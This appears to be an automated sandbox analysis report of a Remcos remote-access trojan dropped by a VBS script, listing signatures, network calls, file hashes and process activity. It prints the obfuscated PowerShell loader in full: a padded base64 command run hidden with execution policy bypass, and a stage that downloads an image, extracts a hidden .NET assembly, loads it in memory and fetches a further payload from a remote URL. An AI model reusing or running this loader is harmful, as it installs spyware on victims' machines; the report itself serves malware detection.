zoCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdQBsCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzbwBiCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzZQBjCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzWwBdCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzEoCUUWJLhOstUÇDfzagBCCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzWQBtCUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzegBZCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzYwB3CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzagBNCUUWJLhOstUÇDfzDECUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTgBqCUUWJLhOstUÇDfzFECUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzSgBsCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzegBBCUUWJLhOstUÇDfzHkCUUWJLhOstUÇDfzWQBUCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzNQBOCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzQQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzVwBWCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzMwBZCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBqCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzagBJCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzWQB6CUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzSQCUUWJLhOstUÇDfzxCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzagBZCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzTgBECUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzMQBZCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTQB4CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzRwBZCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTQBECUUWJLhOstUÇDfzEUCUUWJLhOstUÇDfzMwBOCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzVQB3CUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzVwBFCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzYgBXCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzbQBOCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzYwCUUWJLhOstUÇDfzxCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzRCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzTgBUCUUWJLhOstUÇDfzFkCUUWJLhOstUÇDfzOQBjCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzawBtCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzagBkCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzWgBqCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzBOCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzWQCUUWJLhOstUÇDfz5CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzRwBVCUUWJLhOstUÇDfzC8CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBICUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBMCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzbCUUWJLhOstUÇDfzBwCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzVwBsCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzYwCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzagBiCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzFcCUUWJLhOstUÇDfzVgB5CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzegBNCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzNQBNCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzQQCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzegBJCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzTwBECUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzMgBPCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBFCUUWJLhOstUÇDfzHYCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTQBECUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzBPCUUWJLhOstUÇDfzEQCUUWJLhOstUÇDfzWQB4CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBJCUUWJLhOstUÇDfzDCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzFECUUWJLhOstUÇDfzMQBOCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzWQCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBnCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTQBTCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzegBkCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzNQBsCUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzVwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzJwBoCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzWQBYCUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBZCUUWJLhOstUÇDfzFMCUUWJLhOstUÇDfzOQB0CUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzMgBNCUUWJLhOstUÇDfzHUCUUWJLhOstUÇDfzYwBICUUWJLhOstUÇDfzEICUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBaCUUWJLhOstUÇDfzEgCUUWJLhOstUÇDfzSgB2CUUWJLhOstUÇDfzFkCUUWJLhOstUÇDfzMwBOCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzWgBDCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzdQBaCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzTQB2CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzegBwCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzYwBICUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfz9CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzZwBvCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZwBsCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzMwCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBDCUUWJLhOstUÇDfzDoCUUWJLhOstUÇDfzWgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzUCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZwByCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzbQBECUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBnCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzbwBnCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzUgBlCUUWJLhOstUÇDfzFCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzWgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzXCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzLgBSCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzUCUUWJLhOstUÇDfzBMCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzYwBFCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzJwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzWwBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzcgBpCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzRwBdCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzQwBoCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcgBdCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzNgCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzUgBlCUUWJLhOstUÇDfzFCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzNQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzNQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzMQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzcwB0CUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzaQBOCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzXQBbCUUWJLhOstUÇDfzEMCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzKQB8CUUWJLhOstUÇDfzCYCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzJCUUWJLhOstUÇDfzBWCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzcgBiCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzcwBFCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzUgBFCUUWJLhOstUÇDfzEYCUUWJLhOstUÇDfzZQByCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzTgBjCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzLgB0CUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzUwBUCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzSQBuCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzKCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzMQCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzC0CUUWJLhOstUÇDfzSgBPCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzbgCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfz=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CUUWJLhOstUÇDfz','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('XrmimageUrl = 25hhttps://uploaddeimagens.com.br/images/004/682'+'/796/original/dll.jpg?170179396525h;XrmwebClient = New-Object System.Net.'+'WebClient;Xr'+'mimageByte'+'s = XrmwebClient.DownloadDa'+'ta(XrmimageUrl);XrmimageText = [System.Text.Enco'+'ding]::UTF8.GetString(XrmimageBytes);XrmstartFlag = 25h<<BASE64_STAR'+'T>>25h;XrmendFlag ='+' 25h<<BASE64_END>>25h;XrmstartIndex ='+' XrmimageText.IndexOf(XrmstartFlag);XrmendIndex = XrmimageT'+'ext.IndexOf(XrmendFlag);XrmstartIndex -ge 0 -and XrmendIndex -gt Xrmstar'+'tIndex;XrmstartIndex += XrmstartFlag.Length;Xrmbase64Length = XrmendIndex - XrmstartIndex;Xrmbase64Command = XrmimageText.Substring(XrmstartIndex, Xrmbase64Length);XrmcommandBytes = [System.Convert]::FromBase64String(Xrmbase64Command);Xrml'+'oadedAssembly '+'= [Syste'+'m.Reflection.Assembly]::Load(XrmcommandBytes);Xrmtype = XrmloadedAssembly.GetType(2'+'5hClassLibrary3.Class125h);Xrmmethod = Xrm'+'type.GetMethod(25hRun25h).Invoke(Xrmnull'+', [object[]] (25hJjBhYmMzYjcwMjM1'+'NjQxM2JlNzAyYTg5NjA0ZWVkMjk3YjdjZjI4Yzg0MGI1NjY2NDk1Y'+'j'+'MxMGYxMDE3N2UwZWE9bWgmNjc1ODA3NTY9c2kmNjdhZjI4NTY9eGU/dHh0LmlpaWlzc29jb'+'WVyLzM2MjM5MTA5MzIzODU2OTE4MTEv'+'MDUxODYxMTI0MjQ1NTY5MTgxMS9zd'+'G5lbW'+'hjYXR0YS9tb2MucHBhZHJvY3NpZC5uZGMvLzpzcHR0aA==25h '+', 25h25h , 25h225h , 25hgoogle25h , 25h325h , 25hC:Z45ProgramDataZ4525h, 25hgoogl'+'e25h))').RePLAcE('Z45','\').RePLAcE('Xrm',[striNG][Char]36).RePLAcE(([Char]50+[Char]53+[Char]104),[striNG][Char]39)|& ( $VerbOsEpREFereNce.tOSTrInG()[1,3]+'X'-JOIn'')"

Network

Country Destination Domain Proto
US 8.8.8.8:53 uploaddeimagens.com.br udp
US 188.114.96.0:443 uploaddeimagens.com.br tcp
US 8.8.8.8:53 apps.identrust.com udp
NL 2.19.194.249:80 apps.identrust.com tcp

Files

memory/2052-4-0x000000001B210000-0x000000001B4F2000-memory.dmp

memory/2052-5-0x0000000002420000-0x0000000002428000-memory.dmp

memory/2052-6-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

memory/2052-7-0x0000000002AC0000-0x0000000002B40000-memory.dmp

memory/2052-8-0x0000000002AC0000-0x0000000002B40000-memory.dmp

memory/2052-9-0x0000000002AC0000-0x0000000002B40000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\13KW7BOTMRKBPQWT9C83.temp

MD5 46b2e0bf5f925fffdc5d068f9af2dfea
SHA1 90a647cc7d5f92272a2646d5888f1db0e1da0881
SHA256 690963262220f86195156d5118f6ea73bf5faa41d53cfedc4a52894bf1e2b8e4
SHA512 2508a4965c0146716747380bbb3666057fae42161e4b2a938bf87841ac1a9b9814e9e3aa8f9ce592a47d555354d86f8a1c7f5d4aeaf20a20950459ed3fb4c031

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 46b2e0bf5f925fffdc5d068f9af2dfea
SHA1 90a647cc7d5f92272a2646d5888f1db0e1da0881
SHA256 690963262220f86195156d5118f6ea73bf5faa41d53cfedc4a52894bf1e2b8e4
SHA512 2508a4965c0146716747380bbb3666057fae42161e4b2a938bf87841ac1a9b9814e9e3aa8f9ce592a47d555354d86f8a1c7f5d4aeaf20a20950459ed3fb4c031

memory/2052-11-0x0000000002AC0000-0x0000000002B40000-memory.dmp

memory/2052-10-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

memory/2584-17-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

memory/2584-18-0x00000000023D0000-0x0000000002450000-memory.dmp

memory/2584-19-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

memory/2584-20-0x00000000023D0000-0x0000000002450000-memory.dmp

memory/2584-21-0x00000000023D0000-0x0000000002450000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CabB492.tmp

MD5 f3441b8572aae8801c04f3060b550443
SHA1 4ef0a35436125d6821831ef36c28ffaf196cda15
SHA256 6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA512 5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\Users\Admin\AppData\Local\Temp\TarB564.tmp

MD5 9c0c641c06238516f27941aa1166d427
SHA1 64cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 687343ba0dd466ceeb12ed8b2f36c0cb
SHA1 2e6a6aed596699009c1e0c1f8b987734050a5bda
SHA256 4e998ae27a0b4623265169ca694800f2bf0562254981912aec63dd8765557ac7
SHA512 8142a4a5d7b5b6cf61a83a3eb9bdb0ace44e901f60f3cb8cededb71b86461790e7defdcd7af6b7527776bba69a56656c06b5d184e53a3fad6aca1efde64c118b

memory/2584-88-0x000000001BB00000-0x000000001BB0A000-memory.dmp

memory/2584-89-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

memory/2052-90-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-12-07 14:41

Reported

2023-12-07 14:43

Platform

win10v2004-20231127-en

Max time kernel

148s

Max time network

153s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"

Signatures

Remcos

rat remcos

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2037190880-819243489-950462038-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3128 set thread context of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3960 wrote to memory of 2652 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3960 wrote to memory of 2652 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2652 wrote to memory of 3128 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2652 wrote to memory of 3128 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3128 wrote to memory of 4288 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
PID 3128 wrote to memory of 4288 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
PID 3128 wrote to memory of 3496 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 3496 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 3496 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 2132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 2132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 2132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 4368 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

